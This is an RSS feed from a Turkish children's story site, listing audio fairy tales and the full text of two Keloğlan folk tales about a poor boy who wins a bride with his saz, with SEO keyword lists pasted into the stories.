<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Masal diyarı &#187; masal</title>
	<atom:link href="http://www.masaldiyari.net/tag/masal/feed" rel="self" type="application/rss+xml" />
	<link>http://www.masaldiyari.net</link>
	<description>Masallar diyarı</description>
	<lastBuildDate>Wed, 18 Aug 2010 19:06:09 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Bezelye prenses Masalını dinle</title>
		<link>http://www.masaldiyari.net/bezelye-prenses-masalini-dinle</link>
		<comments>http://www.masaldiyari.net/bezelye-prenses-masalini-dinle#comments</comments>
		<pubDate>Sat, 31 Jul 2010 15:15:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sesli Masal Diyarı]]></category>
		<category><![CDATA[bezelye prenses]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[Masal diyarı]]></category>
		<category><![CDATA[masallar]]></category>
		<category><![CDATA[sesli masal]]></category>
		<category><![CDATA[sesli masallar]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1726</guid>
		<description><![CDATA[
Bezelye prenses masalı  Türkiyenin sesli masal diyarında Bezelye prenses   masalını mutlaka dinleyiniz! Sesli Masal diyarında ki masalları online olarak ücretsiz  dinleyebilirsiniz.
Bezelye prenses Masal Dinle ==&#62; 

]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.masaldiyari.net/wp-content/uploads/2010/07/bezelye_prenses_dinle.jpg"><img class="alignnone size-medium wp-image-1727" title="bezelye_prenses_dinle" src="http://www.masaldiyari.net/wp-content/uploads/2010/07/bezelye_prenses_dinle-241x300.jpg" alt="" width="241" height="300" /></a></p>
<p><span style="color: #800080;"><strong>Bezelye prenses <a title="masallar" href="http://www.masaldiyari.net">masalı </a> Türkiyenin<a href="http://www.masaldiyari.net"> sesli masal</a> diyarında Bezelye prenses <strong> <a title="masal" href="http://www.masaldiyari.net"> </a></strong><strong><a title="masal" href="http://www.masaldiyari.net">masal</a>ını mutlaka dinleyiniz! Sesli Masal diyarında ki masalları online olarak ücretsiz  dinleyebilirsiniz.</strong></strong></span></p>
<p><span style="color: #800080;"><strong><strong><strong>Bezelye prenses</strong><strong> <a title="masal dinle" href="http://www.masaldiyari.net">Masal Dinle</a> ==&gt; </strong></strong></strong></span></p>
<p><strong><strong></strong></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/bezelye-prenses-masalini-dinle/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.masaldiyari.net/dinle/bezelye_prenses.mp3" length="1474497" type="audio/mpeg" />
		</item>
		<item>
		<title>Pinokyo Masalını dinle</title>
		<link>http://www.masaldiyari.net/pinokyo-masalini-dinle</link>
		<comments>http://www.masaldiyari.net/pinokyo-masalini-dinle#comments</comments>
		<pubDate>Sat, 31 Jul 2010 14:30:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sesli Masal Diyarı]]></category>
		<category><![CDATA[baklanın masalı sesli dinle]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[Masal diyarı]]></category>
		<category><![CDATA[Pinokyo]]></category>
		<category><![CDATA[pinokyo masal dinle]]></category>
		<category><![CDATA[sesli masal]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1722</guid>
		<description><![CDATA[
Pinokyo Masalını dinle
Sevimli kukla pinokyonun masalını sesli dinlemek için yürüt butonuna tıklayınız..
Pinokyo Masal Dinle :  
Masal diyarı sesli masallarını dinle(mek) ücretsizdir..


]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.masaldiyari.net/wp-content/uploads/2010/07/pinokyo.gif"><img class="alignnone size-medium wp-image-1723" title="pinokyo" src="http://www.masaldiyari.net/wp-content/uploads/2010/07/pinokyo-300x295.gif" alt="" width="300" height="295" /></a></p>
<p><span style="color: #800000;"><strong>Pinokyo Masalını dinle</strong></span></p>
<p>Sevimli kukla pinokyonun masalını sesli dinlemek için yürüt butonuna tıklayınız..</p>
<p>Pinokyo <a href="http://www.masaldiyari.net">Masal Dinle</a> :  </p>
<p>Masal diyarı <a href="http://www.masaldiyari.net">sesli masal</a>larını dinle(mek) ücretsizdir..</p>
<p><strong><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/pinokyo-masalini-dinle/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://www.masaldiyari.net/dinle/pinokyo.mp3" length="11875022" type="audio/mpeg" />
		</item>
		<item>
		<title>Keloğlan ve sazı 2</title>
		<link>http://www.masaldiyari.net/keloglan-ve-sazi-2</link>
		<comments>http://www.masaldiyari.net/keloglan-ve-sazi-2#comments</comments>
		<pubDate>Thu, 24 Jun 2010 19:42:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Keloglan masalları]]></category>
		<category><![CDATA[keloğlan]]></category>
		<category><![CDATA[keloğlan ile sazı]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[Masal diyarı]]></category>
		<category><![CDATA[masallar]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1717</guid>
		<description><![CDATA[
Keloğlan ve sazı 2


Tam  Küpçü Ali’nin evinin önünden geçerken, bir türkü tutturmuş:
İyi dinle Küpçü Ali
Bugün günlerden salı
Hor gördün beni ve anamı
Anlayacaksın biraz bekle zamanı
Fakir deyip kızını vermedin
Güya kendince kibirlendin
Küçük gördün beni ve anamı
Anlayacaksın biraz bekle zamanı
Küpçü Ali, peşi sıra bakınıp homurdanırken, kızı, bostandan kederli  kederli seyretmiş Keloğlan’ı. Bakakalmış öylece…
Köyünden çıkan Keloğlan, gitmiş gitmiş, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" src="http://www.masaldiyari.net/wp-content/uploads/2010/01/keloglan.jpg" alt="" width="240" height="283" /></p>
<p><strong>Keloğlan ve sazı 2</strong></p>
<p><strong><br />
</strong></p>
<p>Tam  Küpçü Ali’nin evinin önünden geçerken, bir türkü tutturmuş:</p>
<p>İyi dinle Küpçü Ali<br />
Bugün günlerden salı<br />
Hor gördün beni ve anamı<br />
Anlayacaksın biraz bekle zamanı</p>
<p>Fakir deyip kızını vermedin<br />
Güya kendince kibirlendin<br />
Küçük gördün beni ve anamı<br />
Anlayacaksın biraz bekle zamanı</p>
<p>Küpçü Ali, peşi sıra bakınıp homurdanırken, kızı, bostandan kederli  kederli seyretmiş Keloğlan’ı. Bakakalmış öylece…</p>
<p>Köyünden çıkan Keloğlan, gitmiş gitmiş, eşeği yorulunca inmiş,  yularından tutmuş, yolu çok uzakmış. Kimsenin bilemeyeceği kadar çok bir  zaman yol almış. Yollarda görenler, “bir garip oğlan, kim bilir hali ne  yaman, elinde var bir sazı, yüzünde görünüyor bir sızı derlermiş.</p>
<p>Haftalar mı desem, aylar mı, belki de yıllar mı; vara vara kocaman bir  şehre ulaşmış Keloğlan.</p>
<p>Şehir mehir dememiş, zaten bağrı hasretten yanarmış, almış sazı eline,  vurmuş garip garip teline, asılmış en güzel türküsüne. Bir sarayın  önünden geçermiş ama, nereden geçtiğini bile bilmezmiş. Giderek sesi  açılmış ve herkesi meraklandırmış.</p>
<p>Padişahın kızı, pencereye yanaşıp sesli sesli türkü söyleyen yabancıya  dikkatle bakmış.</p>
<p>Şöyle bir türkü söylermiş o anda Keloğlan:</p>
<p>Kocakarı bir anam var,<br />
Birkaç tavuk bir de inek,<br />
Her gün konar kel kafama,<br />
Evsiz kalmış birkaç sinek.</p>
<p>Keloğlanım budur özüm,<br />
Haram malda yoktur gözüm,<br />
Garip hakkı yiyenlere,<br />
Elbet vardır birkaç sözüm.</p>
<p>İnce gönüllü, dünyalar güzeli prenses bayılmış, sanki kendinden geçmiş…</p>
<p>Hem de güneşin vurup ayna gibi parlattığı kel kafası, öyle hoşuna gitmiş  ki, sorulmasın. Bir demet kırmızı gül atmış, o da Keloğlan’ın kel  kafasına düşmüş.</p>
<p>Keloğlan, yukarı kaldırıp başını, bir de ne görsün?</p>
<p>Periler kadar güzel bir kız kendisine bakmıyor mu?</p>
<p>Üstelik, bir de el sallarmış. Utana sıkıla karşılık vermiş  Keloğlan.Türkçenin Tarihi, Orhun Abideleri, Anlatım Bozuklukları,  Cümlenin Öğeleri, Yazım ve Noktalama, Türkoloji Makaleleri, Edebiyat  Nedir?, Alfabelerimiz, Atasözleri, Bulmacalar, Edebi Sanatlar, Sınav  Soruları, Kpss, Oks, Öss, Bunları Biliyor musunuz?, Özlü Sözler, Güzel  Sözler, Türkçe, Edebiyat, Masallar, Destanlar, Astroloji, Roman Özetleri</p>
<p>Prenses, pencereden çekilmiş.</p>
<p>- Galiba gündüz düşü gördüm, diye diye yürümüş de gitmiş Keloğlan. Bir  zaman sokak aralarında dolaşmış, olmuş akşam. Nerede kalsın Keloğlan.  Bulmuş bir han. Üç beş kuruşu varmış. Çorba içmiş, kendine gelmiş. Hep  aklında prenses varmış, inadına çıkmazmış. “Ham hayal benimkisi”,  diyerek, almış sazını eline, vurmuş garip garip teline.</p>
<p>Hancı çıkagelmiş:</p>
<p>- Ey yabancı oğlan, eli sazlı, gönlü yanık oğlan!..</p>
<p>Nedir bunca yolu tepmenin sebebi?</p>
<p>Aşık mısın? Kaçak mısın? Gezgin misin? Nesin? Diye sormuş.</p>
<p>Memnun olmuş bizimki:</p>
<p>- Sağolasın Hancı baba, ne sen sor, ne de ben söyleyeyim. Derdim çoktur,  hangisini anlatayım? Gelir gelmez bir kor düştü içime, bir dert daha  yüklendi garip gönlüme…”</p>
<p>Hancı bu çocuğu çok sevmiş, üstelik nedense acımış da. İyice deşmek  istemiş derdini.</p>
<p>- Bir kıza mı aşık oldun ay Keloğlan? Halin pek yaman!</p>
<p>- He ya, Hancı baba, diye içlenmiş, fakat, boşuna bir aşk benimkisi.</p>
<p>Nedenini sormuş Hancı:</p>
<p>- Niye bu kadar ümitsizsin a be Keloğlan? Ümit olmadan yaşanmaz bilmez  misin bunu?</p>
<p>Ne varsa aklında dökmüş ortaya Keloğlan:</p>
<p>- Saray penceresinden bana bakan kim olabilir Hancı baba? Olsa olsa bir  prenses olur değil mi ya? Gül attı, düştü kel kafama, sandım ki bir peri  kızı girdi rüyama…</p>
<p>Hancı hayretlere düşmüş:</p>
<p>- Vay be, olacak iş mi be yahu? Keloğlan, amma da şanslıymışsın ha,  desene ki, prenses sana aşık oldu. Yoksa, o kimseye gül atmaz, ben çok  iyi bilirim.</p>
<p>Yine ümitsiz konuşmuş Keloğlan:</p>
<p>- Kel kafam tuhafına gitmiştir be Hancı baba, ne aşık olması. Hem de  bilemeden düşürmüştür gülü…</p>
<p>Hancı, merhametli biriymiş, şöyle demiş:</p>
<p>- Bu handa istediğin kadar kalabilirsin Keloğlan. Yemek de yiyebilirsin,  yatabilirsin de. Bunları dert edinme, yüzü pak, gönlü ak oğlan…</p>
<p>Böyle birkaç zaman geçmiş.</p>
<p>Sarayın etrafında dönermiş Keloğlan, hemen her gün.</p>
<p>Prenses de, her keresinde onu izlermiş, pencere arkalarından, tabii ki  kimselere sezdirmeden. Her izleyişinde biraz daha yanar kavrulurmuş.  Fakat, tabii, koskoca bir padişah olan babası, şu yabancı, şu kel kafalı  oğlana kız mı verirmiş? 0 yüzden prenses, pek umutsuzmuş… Bir Allah’ın  kuluna hiçbir şey dememiş.</p>
<p>Bir keresinde Keloğlanla göz göze gelmiş. Sanki birbirlerine  “seviyoruz”, demişler ikisi de.</p>
<p>Geceleri uyuyamıyormuş artık prenses.</p>
<p>Keloğlan, arada bir sazı alıp, hanın penceresini açar, prensese türküler  yakarmış.</p>
<p>Sabahlara kadar, pencerelerde kalan Padişah kızı, neredeyse verem  olacakmış.</p>
<p>Hâlâ hiç kimseye bir şey diyememiş prenses.</p>
<p>Şu dünyada ne olmadık işler olur, ne beklenmedik olaylar gelişir…  Sapasağlam padişah, bir gün aniden ölüp gitmiş.</p>
<p>Prenses hem üzülmüş, hem sevinmiş.</p>
<p>Sarayda ve şehirde tam kırk gün yas tutulmuş.</p>
<p>Keloğlan artık iyiden iyiye ümitlenmeye başlamış, kızın gözlerinden de  bunu anlamış. Eşeğinin sırtına binip, sazını eline almış, sarayı dört  tarafından dolaşmış. Türküleri ile prensesi yine dertlendirmiş. Ama,  saray görevlileri, Keloğlan’ı yaka paça tutup getirmişler</p>
<p>saraya.</p>
<p>Fakat yeni padişah henüz gelmemiş. Çünkü, şehzade, uzak bir seferdeymiş.  Bu yüzden, mecburen Vezir’in huzuruna çıkarmışlar.</p>
<p>Vezir pek merhametli bir adammış.</p>
<p>- Nerelisin Keloğlan? Ne gezinip durursun sarayın çevresinde? Deli  misin? Divane misin? Yoksa, bir bilinmez casus musun, diye sormuş.</p>
<p>Kel başını bir kaşımış, iki kaşımış, ağzını burnunu eğip bükmüş, nihayet  cesarete gelmiş ve şöyle konuşmuş.</p>
<p>-İşte gördüğün gibiyim Vezir hazretleri. Uzaklardan, çok uzaklardan  gelmiş bir garibim. Gördüğünüz gibi bir eşeğim, bir de sazımlayım. İş  arıyorum, ne ki akla karayı seçtim, ama hala bulamıyorum.</p>
<p>Vezir</p>
<p>- Sen hangi işten anlarsın be çocuk?</p>
<p>Keloğlan:</p>
<p>- Çok güzel saz çalarım, çok güzel de türkü söylerim. Yetmez mi?</p>
<p>Vezir memnun olmuş:</p>
<p>- Öyleyse sana güzel bir iş çıktı Keloğlan.</p>
<p>Sultan Hanım, Padişah Efendimiz öleli beri ne gülüyor, ne konuşuyor.  Seni, O’nu neşelendirmek için görevlendiriyorum. Becerirsen, çok büyük  ödül alacaksın. Beceremezsen Cehennem Vadisi’ne atılırsın.</p>
<p>Keloğlan, hemen bir türkü söylemiş, Sultan Hanım’ı bir güzel  neşelendirmiş.</p>
<p>Bütün bu konuşmaları ve türküyü dinleyen Prenses, sevinçten uçmuş.  “Kısmet ayağıma geldi” demiş.</p>
<p>Bir akşam üstü, saray bahçesinde gezinen Prensesi gören Keloğlan,  omzunda tuttuğu sazını almış eline, oturmuş bir ağacın dibine, bir türkü  dillendirmiş</p>
<p>Bir eşeğim var, bir de sazım</p>
<p>Kendimden başkasına geçmez nazım</p>
<p>Çoktan beri açlıktan kokar ağzım</p>
<p>-Bana bir saray kızı lazım.</p>
<p>Keloğlan’ın kendisine naz yaptığını anlayan Prenses, beklemiş ki yanına  gelsin, aşkını söylesin, evlenme teklif etsin. Nerede? Çünkü bizim garip  oğlan, çok utangaçmış. Yanına bile yaklaşamamış.</p>
<p>Hizmetçi kızlardan birini el işaretiyle yanına çağıran Prenses:</p>
<p>- Git, şu Keloğlan’ı tut kolundan, al getir bana.</p>
<p>diye emir vermiş.</p>
<p>Keloğlan, utana sıkıla gelmiş:</p>
<p>- Buyursunlar Prensesim beni emretmişsiniz. İşte geldim.</p>
<p>Hizmetçi kıza git işareti yapmış Prenses, Keloğlanla biraz konuşmuş.</p>
<p>Sonra esas istemini söylemiş. Düşündüm taşındım seninle evlenmeye karar  verdim. Kel kafan öyle güzel parlıyor ki. İçim açılıyor seyrettikçe.  “Vezir, sana ne istediğini soracak. Prensesi istiyorum de…</p>
<p>Rüyalarda olduğunu sanmış Keloğlan. Bir ara şüphelenmiş kafasını bir  ağaca vurmuş, rüyada olmadığını anlamış. Koşa koşa yürümüş, sarayın bir  kapısından girip kaybolmuş.</p>
<p>Veziri çağırmış huzuruna:</p>
<p>- Söyle bakalım muradını Keloğlan, demiş, Sultan Hanım, artık iyi oldu.  Bundan sonra sarayda kalmana gerek yok.</p>
<p>Dobra dobra mırıldanmış Keloğlan:</p>
<p>- Prensesle evlenmek istiyorum…</p>
<p>Sultan Hanım hiç itiraz etmemiş. Hemen düğün hazırlıklarına başlanmış.</p>
<p>Keloğlan, prensesi tek başına bir kenara çekmiş ve diyeceğini demiş.</p>
<p>- Ben seni köyüme götürürüm.</p>
<p>işte, bunu kabullenmemiş prenses. Hemen ret cevabı vermemiş, verememiş  açıkçası:</p>
<p>- Güneş doğarken kararımı sana söylerim, demiş.</p>
<p>Sabaha kadar, ne cevap vereceğini düşünen prenses, inmiş havuz başına  gün doğarken, kuşların sesine bayılmış, saçlarını da suya bakarak bir  güzel taramış. Bu arada, Keloğlan, karşısına çıkmış. Kel kafası sabah  güneşiyle ayna gibi parlarmış.</p>
<p>- De bana, demiş dobra dobra, benimle köyüme gelecek misin, gelmeyecek  misin?”</p>
<p>- Ne manasız bir teklifin var senin Keloğlan, diye çıkışmış prenses. Hiç  akıl yokmuş sende. Şu görkemli saray hayatı bırakılır da köye gidilir  mi? El alem türkü yakar bana. Hem Sultan anam izin de vermez.</p>
<p>Boynunu büküp inlemiş Keloğlan:</p>
<p>- Bir garip anacığım var. Aklım hep O’ndadır. Ne yer, ne içer kaç  senelerdir. Belki de ölmüştür.</p>
<p>Prenses, bu sözlerden sonra sarsılmış, bir acayip olmuş. Çoktan  vazgeçecekmiş ama, Kel kafasının ışıltısını nasıl unuturmuş?. Hele o  güzel türkülerini…</p>
<p>Yine kararsız kalmış prenses. Yarın sabah gün doğarken yine aynı yerde  son kararını söyleyeceğini bildirip bir gölge gibi sessizce süzülüp  gitmiş.</p>
<p>Keloğlan iki arada bir derede kalmış. Kafası atmış, o gece gizlice  saraydan kaçacakmış. Fakat tam o esnada, bir ihtiyar belirmiş birden  bire karşısında. Şöyle demiş:</p>
<p>- Hata yapma Keloğlan, sağdır anan acele etme, prensesin, bekle  kararını.</p>
<p>Hayırlı ise olsun değilse bitsin, de…</p>
<p>Gece yarılarına kadar uyuyamayan prenses, vazgeçmemiş Keloğlan’dan.  Gizlice kaçarsa, şehzade ağabeysinin peşinden geleceğinden korkmuş.  Varıp Sultan annesini uyandırmış:</p>
<p>- Keloğlan, pek yaman, Sultan anne. Bir köye gidelim lafı tutturmuş,  akşam sabah karga gibi ötüp duruyor. Ne ettim, ne dedimse de, burada  kalmaya razı edemedim. Gönlüm gitmek ister, izin ver bana. Gün olur  dönerim saraya…</p>
<p>Anası öyle ağlamış ki, gözyaşları sel olmuş:</p>
<p>- Sana mutluluklar dilerim sevgili kızım. Yeter ki sen saadetli bir ömür  sür. Çok sıkılırsan, bırakır gelirsin, demiş.</p>
<p>Çok neşeli, çalgılı sazlı, bir düğün yapılmış, en çok sazı çalan, en  güzel türküleri söyleyen de Keloğlan olmuş.</p>
<p>Almış prensesi yanına, düşmüş köyünün yollarına.</p>
<p>Eşeği ikisini birden götüremediği için yaya yürümüş</p>
<p>Keloğlan.</p>
<p>Yolda Prensesi görenler:</p>
<p>- Dünyanın sonu geldi galiba, hiç böylesini de görmemiştik, derlermiş.  Nice dağları, sayısız köyleri, birçok kasabaları ine çıka geçip köye  gelmişler.</p>
<p>Keloğlan’ı bir prensesle birlikte karşılayan anası, o kadar sevinmiş ki,  ne yapacağını şaşırmış.</p>
<p>Bir zaman sonra anası ölmüş Keloğlan’ın.</p>
<p>Dünya bu. Neyin ne olacağı belli mi olur?</p>
<p>Dönmüşler tekrar saraya…</p>
<p>Darısı, muratsızların başına…<!-- google_ad_section_end --> <!-- reklam2 --> <!-- /reklam2 --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.masaldiyari.net/keloglan-ve-sazi-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keloğlan ve Sazı</title>
		<link>http://www.masaldiyari.net/keloglan-ve-sazi</link>
		<comments>http://www.masaldiyari.net/keloglan-ve-sazi#comments</comments>
		<pubDate>Thu, 24 Jun 2010 19:37:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Keloglan masalları]]></category>
		<category><![CDATA[keloğlan]]></category>
		<category><![CDATA[masal]]></category>
		<category><![CDATA[masal dinle]]></category>
		<category><![CDATA[Masal diyarı]]></category>
		<category><![CDATA[masallar]]></category>

		<guid isPermaLink="false">http://www.masaldiyari.net/?p=1713</guid>
		<description><![CDATA[




Keloğlan ve Sazı


Bir varmış, Bir yokmuş Evel zamanların birinde bir Keloğlan, keleş Oğlan varmış.. Anasıyla beraber köyde fakirane bir hayat sürerlermiş..
Fakirlik adeta yazgılarıymış.
Onca yıl, anası bu fakirlikten kurtulmak için çok uğraşmış, ama, bir türlü kurtulamamış.
Keloğlan ne mi yaparmış?
Birkaç keçi ile bir de eşeği varmış. işte her gün, gün doğarken eski püskü evinden çıkar, meralara, çayırlara [...]]]></description>
			<content:encoded><![CDATA[<div class="mceTemp">
<dl class="wp-caption alignnone" style="width: 313px;">
<dt class="wp-caption-dt"><img title="keloglan" src="http://www.masaldiyari.net/wp-content/uploads/2009/04/keloglan23.jpg" alt="keloglan, keloglan masallari" width="303" height="412" /></dt>
</dl>
</div>
<p><strong>Keloğlan ve Sazı</strong></p>
<p><strong><br />
</strong></p>
<p>Bir varmış, Bir yokmuş Evel zamanların birinde bir Keloğlan, keleş Oğlan varmış.. Anasıyla beraber köyde fakirane bir hayat sürerlermiş..</p>
<p>Fakirlik adeta yazgılarıymış.</p>
<p>Onca yıl, anası bu fakirlikten kurtulmak için çok uğraşmış, ama, bir türlü kurtulamamış.</p>
<p>Keloğlan ne mi yaparmış?</p>
<p>Birkaç keçi ile bir de eşeği varmış. işte her gün, gün doğarken eski püskü evinden çıkar, meralara, çayırlara uzanır, eşeği ve keçilerini bir güzel doyurduktan sonra, türkülerle, şarkılarla evine dönermiş.</p>
<p>Keloğlan’ın arkadaşları, kendisini her gördükle rinde:</p>
<p>- Yaşlı kadının Keloğlan’ı, eşeğinin bile yoktur palanı, diyerek dalga geçerler, bir de kahkahalarla kendilerinden geçerlermiş.</p>
<p>Her keresinde, şikayet dilli olarak, bütün bunları anasına aktarınca, işittiği sözler ekseriya şöyle olur muş:</p>
<p>- A benim biricik oğulcuğum, ne yapalım? Bizim de kaderimiz böyleymiş. Gelen giden ne olsa söyler. İnsanların ağzı torba değil ki büzeyim. Üzme tatlı canını, hem de bu ihtiyar ananı.</p>
<p>Keloğlan, bu sözlere itiraz etmiş:</p>
<p>- Hayır ana, arkadaşlarımın lafları çok dokunu yor bana. Yarından tezi yok ineceğim kasabaya. iş bulacağım kendime, çok para kazanıp döneceğim evime. Görsünler neymiş Keloğlan…</p>
<p>Ne yapsın, ne desin anası:</p>
<p>- Peki oğlum, madem öyle düşündün. Bildiğin gibi yap, ama, beni de unutma. Yolun açık olsun.</p>
<p>Vurmuş kasabaya Keloğlan. Tuvalete gitmiş, bekçinin yerinde olmadığını görmüş. Fırsatı değerlendirmiş. Gelenlerden aldığı parayı cebine atmış. On beş kuruş, para kazanmış. Bir miktar yiyecek ve yün almış. Evine gelmiş.</p>
<p>- Ana, demiş, işte yiyecekler. Şu da yün. Eğir, çorap yap, satayım.</p>
<p>Şikayetlenmiş anası:Türkçenin Tarihi, Orhun Abideleri, Anlatım Bozuklukları, Cümlenin Öğeleri, Yazım ve Noktalama, Türkoloji Makaleleri, Edebiyat Nedir?, Alfabelerimiz, Atasözleri, Bulmacalar, Edebi Sanatlar, Sınav Soruları, Kpss, Oks, Öss, Bunları Biliyor musunuz?, Özlü Sözler, Güzel Sözler, Türkçe, Edebiyat, Masallar, Destanlar, Astroloji, Roman Özetleri</p>
<p>- Gözlerim görmez oldu Keloğlanım. Yapamam, anla beni.</p>
<p>Tabii, nihayet anası. Susmuş.</p>
<p>Hâlâ arkadaşları takılırlarmış.</p>
<p>- Yaşlı ködının Keloğlan’ı, eşeğinin bile yoktur palanı.</p>
<p>Bu gibi laflara, artık daha Fazla dayanamayan Keloğlan, ne yapıp edip, şu fakirlik belasından kurtulmaya yemin etmiş. Birçok plan, program yapmış, amma bunların hemen hepsi kocaman birer hayalmiş.</p>
<p>Bir akşam köyde bir düğün varmış.</p>
<p>Keloğlan anasından izin alıp düğüne gitmiş.</p>
<p>Bir delikanlı, elinde sazı çok güzel türküler söylermiş. Halk adeta keyfinden yerlere yatarmış. Türküler bitmiş, herkes delikanlıya bahşiş vermiş. Bir bohçayı dolduran delikanlı, bu türkülerin üstüne bir türkü da ha söylemiş.</p>
<p>Keloğlan, bayılmış bu işe.</p>
<p>Bu sazcı gibi saz çalıp türkü söylemeye heveslenmiş.</p>
<p>Böylece çok bahşiş atıp anası ile birlikte fukaralığa son vermek istermiş. Önce, bir saz gerekiyor tabii. Parası yokmuş ki, gidip bir saz alsın. Arkadaşı yokmuş ki ödünç istesin. Dedesinden kalma bir dut ağacı varmış. En kalın dalını kesmiş, götürmüş bir saz ustasına.</p>
<p>- Ustam, demiş, büyük hayır alırsın, bana bir saz yap, işte dut dalı.</p>
<p>- Önce para, önce para Keloğlan, diye söylenmiş adam.</p>
<p>- Yok, karşılığını vermiş bizimki.</p>
<p>- Öyleyse, benden de saz yok, hadi yaylan bakalım, diyerek, sözünü bağlamış adam.</p>
<p>Lakin, kafayı bir kere takmış ya Keloğlan, üstelemiş.</p>
<p>- Bir sazlık dal getireyim sana, olur mu?</p>
<p>- Hah demiş, kelini şimdi çalıştırdın, beni de razı ettin. Sazını üç gün sonra gel ol. Ama gelirken de bir sazlık dut dalı getirmeyi unutma, yoksa avucunu yalarsın.</p>
<p>Hoplaya zıplaya çıkıp gitmiş Keloğlan, şimdiden eline aldığı değneklerle saz çalma provaları yaparmış. Üç gün sonra, dut dalını da alıp saz ustasının dükkanına varmış. Ama saz çalmayı bilmediği için, yalvarmış.</p>
<p>- Ey ünlü sazcı, gel de bana acı. Budur derdimin ilacı, hem de başımın tacı. Kurbanın olam senin, şu sazı öğret…</p>
<p>Usta</p>
<p>- Ulan Keloğlan, iyi günüme denk geldin, illaki beni mecbur ettin… Otur bakayım şuraya, demiş ve tarif etmiş.</p>
<p>Saz çalmayı kısa sürede öğrenen Keloğlan, her sabah önüne kattığı keçileri ve eşeğiyle akşamlara kadar saz çalıp, türkü söylermiş. Tın tın tellere vurur, hop oturur hop zıplarmış.</p>
<p>Fakat henüz köylüleri, onun ne güzel saz çalıp, türkü söylediğini bilmezlermiş. Bu nedenle hep alay ederlermiş.</p>
<p>Keloğlan, böyle söyleyenlere şöyle dermiş:</p>
<p>Gülün ey insanlar siz gülün<br />
Ne getireceği belli olmaz yarınki günün<br />
Gülün ey insanlar siz gülün<br />
İyi bir saz ustası olayım da görün.<br />
Sabrın elinden ne kaçabilir!.</p>
<p>Keloğlan, artık yavaş yavaş düğünlere gitmeye, saz çalıp türkü söylemeye başlamış.</p>
<p>Hâlâ ciddiye almayanlar varmış. Onlara da şöyle demiş:</p>
<p>Alay etmeyin öyle benimle<br />
İşim olmaz artık sizinle<br />
Sazımı alacağım bakın elime<br />
Paraları atacaksınız cebime.</p>
<p>Yine kahkahalar, köyün semalarında dalgalanmış. Buna sinirlenen keloğlan, almış sazı eline, vurmuş yanık teline.</p>
<p>Ben bir garip Keloğlanım<br />
Eşeğimin yok palanı<br />
Varım yoğum doğruluktur<br />
Hiç de sevmem ben yalanı.</p>
<p>Tabii, bir süre sonra bahşişler gelmeye başlamış. Cepleri almaz olmuş.</p>
<p>Doğru anasına koşmuş. Anası nasıl sevinmesin ki…</p>
<p>Böyle düğünlere gide gide, artık ünlü bir türkücü ve sazcı olmuş Keloğlan.</p>
<p>Anası bir gün,</p>
<p>- Ah Keloğlanım, görüyorsun artık perişanım, demiş. Gözlerim görmez, ellerim tutmaz oldu. Ocağımızda bir gelin olsa da, ben bir kenara çekilsem. Ha! Ne dersin dazlak kafalı oğlum?</p>
<p>Keloğlan acımış anasına.</p>
<p>- Benim öyle biri aklımda yok ana, senin varsa söyle, demiş.</p>
<p>Anası bir kızı önermiş:</p>
<p>- Küpçü Ali’nin kızı tam bize göre…</p>
<p>- Olmaz ana, diye karşı çıkmış oğlu, olmaz. Küpçü Ali çulsuzun biri. O dediğin kızı kendime karı, sana gelin yapmayacağım.</p>
<p>Anası, boynunu bükmüş:</p>
<p>- Ah saf oğlanım, vah Keloğlanım! Zengin kapısı bize açılmaz. Bırak bu ham hayali, görüyorsun işte bu halimi.</p>
<p>Ne yapsın Keloğlan, anasından geçememiş.</p>
<p>- Peki, sırf seni kırmamak için, ses çıkarmıyorum. Nasıl biliyorsan öyle olsun.</p>
<p>Kadıncağız belini tuta tuta gitmiş, Küpçü Ali’nin kapısını tıklatmış.</p>
<p>- Allah’ın emri, peygamberin kavli ile kızını oğluma eş, kendime gelin yapmaya geldim, demiş.</p>
<p>Küpçü Ali, kötü kötü sırıtmış.</p>
<p>- Bak sen bizim Keloğlan’ın anasına. Var git işine be kadın. Yemeye ekmeğiniz yok, bir de gelmişsin kapıma kız istiyorsun.</p>
<p>Bu sözleri kapı aralığından dinleyen kız, çok üzülmüş. Çünkü bir düğünde saz çalıp türkü söylerken gördüğü Keloğlan’a aşıkmış. Ama, hiçbir şey diyememiş, çünkü babasından çok korkarmış.</p>
<p>Kadın, evine dönünce halinden anlamış oğlu ve konuşmuş.</p>
<p>- Ana ne bu halin, vermedi mi yoksa kızını Küpçü Ali?</p>
<p>Ağlamış ihtiyar kadın:</p>
<p>- Kovdu beni, sen önce yemeye ekmek bul, dedi.</p>
